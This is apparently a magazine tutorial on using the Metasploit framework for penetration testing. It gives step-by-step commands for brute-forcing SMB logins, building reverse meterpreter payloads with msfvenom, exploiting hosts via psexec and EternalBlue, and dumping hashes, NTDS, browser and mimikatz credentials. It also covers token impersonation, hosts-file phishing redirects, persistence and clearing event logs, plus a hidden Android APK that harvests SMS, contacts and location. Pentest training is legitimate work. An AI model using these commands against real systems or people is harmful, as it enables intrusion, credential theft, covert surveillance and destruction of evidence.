Ultimate guide to Metasploit: how to use the renowned pentesting framework

As you are likely aware, Metasploit is the most acclaimed exploitation and post-exploitation framework in the world. Even if you don’t use it, you had definitely encountered numerous references to Metasploit in our materials. In this article, I will give a brief overview of this framework, explain how our security team uses it, and provide some practical tips.


This article is intended for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this information.

Installing Metasploit Framework

Most Linux distributions designed for penetration testing (e.g. Kali or Parrot) include Metasploit; if they don’t it can be easily installed:

apt install metasploit-framework

If you want to use Metasploit Framework in Ubuntu, I suggest installing if from the official repository. Enter the following directives in the console:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
sudo chmod 755 msfinstall
sudo ./msfinstall

Metasploit database

Metasploit is often used to hack large networks consisting of many hosts. At some point, the accumulation of the collected information becomes an extremely time- and labor-consuming process. Fortunately, Metasploit is compatible with PostgreSQL DBMS, which makes hackers’ lives much easier. The framework saves and formalizes the collected information using the msfdb module. To start interacting with databases, launch the postgresql service and create a database for Metasploit.

service postgresql start
msfdb init
Msfdb successfully created a database
Msfdb successfully created a database

The db_status command checks the connection to the database.

Successful connection to the Metasploit database
Successful connection to the Metasploit database

To simplify the interaction with various objects (hosts, networks, and domains) and categorize the collected data for subsequent structuring, msfdb supports so-called workspaces. To add a workspace to your project, type:

> workspace -a xakep
Creating a new workspace
Creating a new workspace

Now you operate in the newly-created workspace. Imagine, for instance, that you are inside the network and want to look for accessible hosts. The best way is to use Nmap running directly in the Metasploit console and connected to the current database: db_nmap.

> db_nmap -O

The Nmap output is of no interest for you anymore: everything that does matter has been saved in the database. For instance, you can view the list of all scanned hosts using the hosts command.

List of scanned hosts saved in the database
List of scanned hosts saved in the database

Similar to the hosts, all services have been saved, too; and this information is now easily accessible to you. You can either see all services running on various ports or review lists of services running on specific hosts.

List of all detected services
List of all detected services
List of services running on a specific host
List of services running on a specific host

The msfdb module has an exciting feature: it saves all found account credentials (this function will be addressed in more detail later). Furthermore, Metasploit features powerful brute-forcing capabilities. To display the full list of information enumerated to collect credentials, use the command:

> search type auxiliary/scanner -S "_login"
Modules used to brute-force credentials of some services
Modules used to brute-force credentials of some services

Note the SMB login check scanner. Use the info command to see the capabilities of a given module, its description (with a reference to cvedetails), and data that must be provided as its parameters.

info auxiliary/scanner/smb/smb_login
Description of smb_login
Description of smb_login

To configure this module, select it, specify the domain name, user name, target host, and list of passwords.

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN
msf5 auxiliary(scanner/smb/smb_login) > run
Configuring smb_login
Configuring smb_login
Smb_login found a password of the target user
Smb_login found a password of the target user

If the found user is an administrator, Metasploit will notify you of this, which is very convenient. But the target network may consist of 100 or more computers running thousands of services. In such situations, brute-forcing modules alone allow to collect plenty of credentials. Msfdb saves your time because all the discovered logins, hashes, and passwords are automatically saved in the credentials storage that can be viewed using the creds command.

Credentials storage in msfdb
Credentials storage in msfdb

Note that I described not all msfdb functions (for instance, it can also be integrated with Nessus and OpenVAS scanners), but only those used by our security team on a regular basis.

Getting a foothold


Metasploit includes plenty of tools used to create payloads. Various techniques are employed to inject these payloads. MSF allows to create both ‘light’ payloads (executing commands and providing you with a simple shell) and sophisticated ones (e.g. meterpreter or VNC).

The same payload can operate either in the bind mode (i.e. wait for connection) or reverse mode (i.e. establish a backconnect from the target host). A rule of thumb is that the lighter is the payload, the greater are its reliability and stability. For instance, an ordinary shell can be created using AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, or PowerShell.

To find the best payload for a specific situation, use the search command.

search payload/
Available payload types in Metasploit
Available payload types in Metasploit

The most commonly used loader formats are: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, and war. A special module, msfvenom is used for interaction with payloads embedded in Metasploit.

For instance, if you need a reverse meterpreter payload for Windows that uses the TCP protocol, select windows/x64/meterpreter/reverse_tcp from the list of Metasploit payloads.

Description of the payload windows/x64/meterpreter/reverse_tcp
Description of the payload windows/x64/meterpreter/reverse_tcp

The main parameters for this payload are LHOST and LPORT (i.e. the address and port of your server required to establish backconnect). To create a payload in the *.exe format, type:

msfvenom -p [payload] [payload parameters] -f [format] -o [resultant file]
Creating a payload with msfvenom
Creating a payload with msfvenom

The executable file containing the required payload its ready. Msfvenom also supports plenty of other functions (e.g. delays and coders), but our team rarely uses them.


Handlers are created using the exploit/multi/handler module. For this module, you have to specify the target payload and parameters of this payload.

> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST
> set LPORT 4321
> run
Creating a reverse TCP handler
Creating a reverse TCP handler

There is an alternative quick way to create such a handler:

handler -p [payload] -H [host] -P [port]
Creating a reverse TCP handler
Creating a reverse TCP handler

Now you have to execute the file containing your newly-created payload on the target host.


I will briefly address exploits embedded in Metasploit Framework because our team uses only two of them to get footholds: exploit/windows/smb/psexec and exploit/windows/smb/ms17_010_eternalblue. Of course, Metasploit exploits for other vulnerable services are used as well, but this happens pretty rarely. In the following sections, I will address the meterpreter payload in more detail because ‘light’ payloads only provide access to ordinary shells, while vncinject opens a remote desktop. For the psexec module, you have to specify the collected credentials, target host address, payload type, and its parameters.

> use exploit/windows/smb/psexec
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST
> set LPORT 9876
> set RHOSTS
> set SMBUser root
> set SMBPass 1q2w#E$R
> set SMBDomain domain.dom
> run
Opening a meterpreter session
Opening a meterpreter session

As a result, you get a meterpreter session with a remote Windows host.

Exploitation and post-exploitation

Time to exploit the capabilities you have got at the previous stage. Remote hosts may have different operating systems, and each of them must be addressed separately.


As you are likely aware, Windows is one of the most popular operating systems.

Meterpreter database

After establishing a meterpreter session, you can use the download and upload commands to drop files on the attacked host and retrieve them from it. For better stability, the session can be transferred to another process running on the same host using the migrate command. This command requires only one parameter: the PID of the target process (it can be taken from the list of processes displayed by the ps command).

Migrating to another process
Migrating to another process

You also can create your own processes. All you have to do is specify the file (-f) and, if necessary, enable the interactive (-i) or hidden (-H) mode.

execute -f cmd.exe -i -H
Creating hidden process cmd.exe
Creating hidden process cmd.exe

The cp 65001 command solves any encoding problems. The getsystem command escalates your privileges from a local administrator to the SYSTEM user and is used nearly in all cases.

Privilege escalation to SYSTEM
Privilege escalation to SYSTEM

The file search function is extremely useful when you need to find documents or archives on a remote PC.

Searching for all TXT files
Searching for all TXT files

In order to execute a PowerShell or Python command on the hacked host and upload a PS1 file or Python script to its memory, load the respective modules first and then select the required command.

The PowerShell module
The PowerShell module
The Python module
The Python module


Tunneling is one of the most exciting Metasploit functions. The seized host can be used as a bridge between the external and internal networks. First of all, you have to check whether additional network interfaces exist.

> ifconfig
Getting the address of the internal network
Getting the address of the internal network

To detect hosts, review the ARP table.

> arp
ARP table of the target host
ARP table of the target host

Now you can build the tunnel. First, create a route and test it with autoroute.

> run autoroute -s
> run autoroute -p
Creating a route
Creating a route
List of created routes
List of created routes

Then background the session, thus, switching from the meterpreter shell to the msf shell.

> background
Backgrounding the meterpreter session
Backgrounding the meterpreter session

At the next stage, you have to configure a SOCKS proxy server using the auxiliary/server/socks4a module that takes the host and port as parameters (the default, localhost:1080).

> use auxiliary/server/socks4a
> run
Creating a SOCKS proxy server
Creating a SOCKS proxy server

To return back to the meterpreter shell, use the sessions command and specify the session number.

Switching back to the meterpreter session
Switching back to the meterpreter session

The ProxyChains tool can be used as a redirector. The address of your proxy server must be specified in its configuration file: /etc/proxychains.conf.

ProxyChains config file
ProxyChains config file

Now you can scan the host found in the ARP table using Nmap and the newly-created tunnel.

# proxychains -q nmap
Metasploit tunnel is used to scan ports on a host belonging to the internal network
Metasploit tunnel is used to scan ports on a host belonging to the internal network

Collecting credentials

Collecting passwords and hashes is an important element of any attack, and Metasploit makes this process easy and simple. The hashdump command retrieves hashes from the SAM file.


If you have access to the domain controller, you can easily dump the NTDS.DIT file.

> use post/windows/gather/ntds_grabber
> set SESSION 5
> run

The post/windows/gather/credentials/gpp module retrieves passwords from group policies and MS SQL, while post/windows/gather/credentials/outlook, post/windows/gather/credentials/skype, and post/windows/gather/credentials/teamviewer_passwords retrieve the saved Outlook, Skype, and TeamViewer passwords. Browsers are another important source of information: you can extract from them logon credentials, cookies, and browsing history.

> use post/windows/gather/enum_chrome
> set session 5
> run
Extracting data from the browser
Extracting data from the browser

All these files are saved in the msfdb database; to access them, use the loot command.

Loot msfdb output
Loot msfdb output

In fact, these files aren’t text files (they constitute the SQLite database), but you can easily extract the saved passwords from them.

Logon credentials saved in the browser
Logon credentials saved in the browser

Metasploit is fully integrated with mimikatz; the respective module is called KIWI.

Loading KIWI and mimikatz
Loading KIWI and mimikatz

A detailed description of mimikatz goes beyond the scope of this article. The screenshot below shows mimikatz modules integrated in Metasploit.

Mimikatz modules
Mimikatz modules

Intelligence collection

Commands used to collect basic intelligence can be found at post/windows/gather/. The enum_ad_users module enumerates Active Directory users on the specified domain, enum_ad_groups enumerates groups, while enum_shares enumerates configured and recently used file shares. The post/windows/gather/bloodhound module operates at a larger scale and employs a powerful tool of the same name.

Sometimes you have to examine software installed on a remote host to identify the local privilege escalation (LPE) vector. Metasploit simplifies this task greatly.

List of installed programs
List of installed programs

The post/multi/recon/local_exploit_suggester module checks the target PC for Common Vulnerabilities and Exposures (CVE) that can be used for privilege escalation. The screenshot below shows an identified vulnerability.

Checking for LPE exploits
Checking for LPE exploits

If you need to intercept and analyze the traffic, load the sniffer module and review the available network interfaces first.

Loading the sniffer module
Loading the sniffer module

Then you can start the sniffer for the selected interface and specify a file to save the dumped traffic. Don’t forget to stop the sniffer after finishing the listening session.

Recording traffic
Recording traffic

Metasploit also includes a keylogger controlled with the commands start, dump, and stop.

Recording keystrokes
Recording keystrokes

Gaining access

Metasploit includes plenty of powerful tools used to gain access to the target system. For instance, user tokens allow you to impersonate other users. To see what tokens are present in the system, load the incognito module.

> load incognito
> list_tokens -u
Loading the incognito module
Loading the incognito module

Based on the command output, it is possible to impersonate the user MediaAdmin$:

impersonate_token DOMAIN\\MediaAdmin$
Impersonation successful!
Impersonation successful!

Now you can take actions on behalf of MediaAdmin$. To execute programs written in C# in the memory, use the command post/windows/manage/execute_dotnet_assembly.

If you see that the victim frequently accesses a certain site by its domain name, you can make a copy of its authentication page and alter the site address in the hosts file.

run hostsedit -e,www.microsoft.com

As a result, the user trying to visit www.microsoft.com will be redirected to your server. Should you need to quickly install Python or an SSH server on the attacked host, use the modules post/windows/manage/install_python and post/windows/manage/install_ssh, respectively.

Quickly installing Python and SSH on the target PC
Quickly installing Python and SSH on the target PC

Similar to Empire, you can enable RDP and change the firewall settings using the post/windows/manage/enable_rdp module.

Enabling RDP on the target host
Enabling RDP on the target host

As you are aware, if the target PC is restarted during the attack, your current session will be lost; therefore, it’s important to establish persistence. I normally use the -S option for that.

The persistence module
The persistence module
Persistence established
Persistence established

In the end of the attack, you have to cover up all traces. I recommend using the clearev module for this.

Clearing events and security logs
Clearing events and security logs

That’s that on attacking Windows systems.


Attacks targeting Mac computers were addressed in the article about the Empire framework. Therefore, I am going to skip the theory and jump directly to the practice. You have to create a payload in the macho format and start a handler for it.

Generating payload in the macho format
Generating payload in the macho format
Creating a handler for the generated payload
Creating a handler for the generated payload

After executing the payload, you can check the OS version.

Connecting the agent and checking the OS version
Connecting the agent and checking the OS version

Now that you know what you are dealing with, you can enumerate the key system files using the enum_osx module that saves the collected information in a special log.

run post/osx/gather/enum_osx
Information collected by enum_osx
Information collected by enum_osx

When you deal with Mac computers, social engineering is your primary tool. For instance, using password_prompt_spoof, you can show the user the following window.

Password request window
Password request window

The victim may repeatedly press Cancel, but in vain: the window will pop-up again and again until the user password is entered.

run osx/gather/password_prompt_spoof
Getting user password with password_prompt_spoof
Getting user password with password_prompt_spoof

The osx/capture/keylog_recorder module serves as a keylogger, while osx/gather/hashdump dumps hashes. The screenshare module allows to view the work of these tools.

Recording user
Recording user’s screen


Attacks on Linux computers don’t differ much from attacks on Windows and macOS systems. You generate a payload, launch a handler, and review the system information.

Generating payload
Generating payload
Creating handler for the generated payload
Creating handler for the generated payload
Connecting agent and checking the OS version
Connecting agent and checking the OS version

Intelligence is normally collected using Linux privilege escalation scripts (e.g. LinPEAS); therefore, the assortment of options offered by Metasploit is pretty limited. The local_exploit_suggester module is used to find out what exploits can be used to escalate your privileges.

Identified exploits
Identified exploits

The linux/manage/sshkey_persistence module is used to preserve persistence: it adds the SSH key of a specified user, thus, enabling you to remotely restore the access to the compromised system at any time. It must also be noted that enumeration scripts don’t check browsers’ profiles; so, use firefox_creds for that.

Firefox profiles
Firefox profiles

The last but not the least noteworthy module is linux/manage/iptables_removal: it conveniently deletes firewall rules.

Deleting iptables rules
Deleting iptables rules


Using Metasploit, you can extract plenty of interesting information from Android devices. This topic deserves a separate publication; so, in this article, I am going to present just a few cool features available in meterpreter. First, I generate a payload for Android using msfvenom.

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=4321 -o 1.apk
Creating a meterpreter payload for Android
Creating a meterpreter payload for Android

Then I run a handler for it.

handler -p android/meterpreter/reverse_tcp -H -P 4321
Running a handler
Running a handler

Then I have to deliver the newly-created .apk file to the target device and execute it. The app will run in the background, and the user won’t notice anything suspicious.

Connecting agent and checking the system
Connecting agent and checking the system

First of all, I use the hide_app_icon command to hide the icon of my app (so that it’s not displayed in the user menu). Then I check whether the smartphone is rooted using check_root.

Checking smartphone for root privileges
Checking smartphone for root privileges

Metasploit allows you to install, remove, and review the installed programs and run apps (for instance, you can remove all programs installed by the smartphone manufacturer) with the following commands:

  • app_list
  • app_install
  • app_uninstall
  • app_run
Output of the app_list command
Output of the app_list command

The dump_contacts, dump_calllog, and dump_sms modules retrieve for you all the contacts, calls, and text messages, while the geolocate module allows to track movements of the smartphone owner.

Getting smartphone coordinates
Getting smartphone coordinates
Identifying smartphone location on Google Maps
Identifying smartphone location on Google Maps


As you can see, Metasploit is much more universal in comparison with other pentesting frameworks. Any ethical hacker and pentester must be able to use this multitool. Hopefully, this article was of interest to you and helped in mastering MSF.


More information can be found at my @RalfHackerChannel on Telegram where you can ask any questions (or answer questions of other users). See you there!

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">